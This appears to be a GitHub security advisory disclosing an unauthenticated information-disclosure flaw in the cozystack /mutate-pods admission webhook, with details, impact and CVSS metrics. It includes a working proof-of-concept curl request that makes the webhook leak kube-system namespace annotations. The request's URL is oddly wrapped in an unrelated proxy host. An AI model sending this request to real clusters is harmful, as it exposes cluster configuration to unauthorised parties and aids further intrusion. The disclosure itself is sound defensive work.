Skip to content

IDOR exposing arbitrary namespace data via Admission Webhook

Moderate
kvaps published GHSA-g883-q79m-8225 Aug 27, 2026

Package

gomod github.com/cozystack/cozystack (Go)

Affected versions

< 1.6.3

Patched versions

1.6.3

Description

Summary

An unauthenticated information disclosure vulnerability in the /mutate-pods admission webhook allows any network-accessible attacker to query arbitrary Kubernetes namespace annotations using the webhook pod’s service account privileges. By sending a crafted AdmissionReview request, an attacker can force the webhook to retrieve namespace metadata from the Kubernetes API server and reflect sensitive annotations in the admission response, resulting in leakage of internal cluster configuration and networking information.

Details

Prerequisites: Unauthenticated - Network access to port 8443 of the webhook pod (intra-cluster or via NodePort/LoadBalancer exposure)

The /mutate-pods admission webhook handler accepts an AdmissionReview request body from any unauthenticated network caller. In HandleMutatePods ,

func HandleMutatePods(w http.ResponseWriter, r *http.Request) {
the raw HTTP request body is read and unmarshaled into admissionv1.AdmissionReview with no caller authentication. At line 62,
ns := admissionReviewReq.Request.Namespace
extracts the namespace string directly from the attacker-controlled body. The webhook will use the pod's service account to fetch that namespace from the API server and reflect its annotations back to the caller inside the JSON patch response, leaking internal cluster metadata such as network policy hints, OVN route configurations, and operator annotations.

PoC

curl -sk -X POST https://<WEBHOOK_POD_IP>:8443/mutate-pods \
  -H 'Content-Type: application/json' \
  -d '{
    "apiVersion": "admission.k8s.io/v1",
    "kind": "AdmissionReview",
    "request": {
      "uid": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
      "kind": {"group": "", "version": "v1", "kind": "Pod"},
      "operation": "CREATE",
      "namespace": "kube-system",
      "object": {
        "apiVersion": "v1",
        "kind": "Pod",
        "metadata": {"name": "test", "namespace": "kube-system"},
        "spec": {"containers": [{"name": "c", "image": "alpine"}]}
      }
    }
  }'
# Response JSON patch will contain kube-system namespace annotations
# fetched via the webhook's service account credentials

Impact

This vulnerability allows unauthenticated attackers with network access to the webhook endpoint (:8443) to enumerate and exfiltrate annotations from arbitrary namespaces within the cluster, including privileged namespaces such as kube-system. The leaked metadata may contain sensitive operational details such as OVN networking configuration, routing information, internal infrastructure hints, policy-related annotations, and operator-managed settings.

Because the webhook performs API requests using its own service account credentials, the vulnerability effectively exposes cluster information beyond the attacker’s original privileges. In environments where the webhook is exposed through a NodePort, LoadBalancer, or reachable intra-cluster network path, this issue can aid reconnaissance, privilege escalation planning, lateral movement, and targeting of additional cluster components.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Missing Authentication for Critical Functionality

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Credits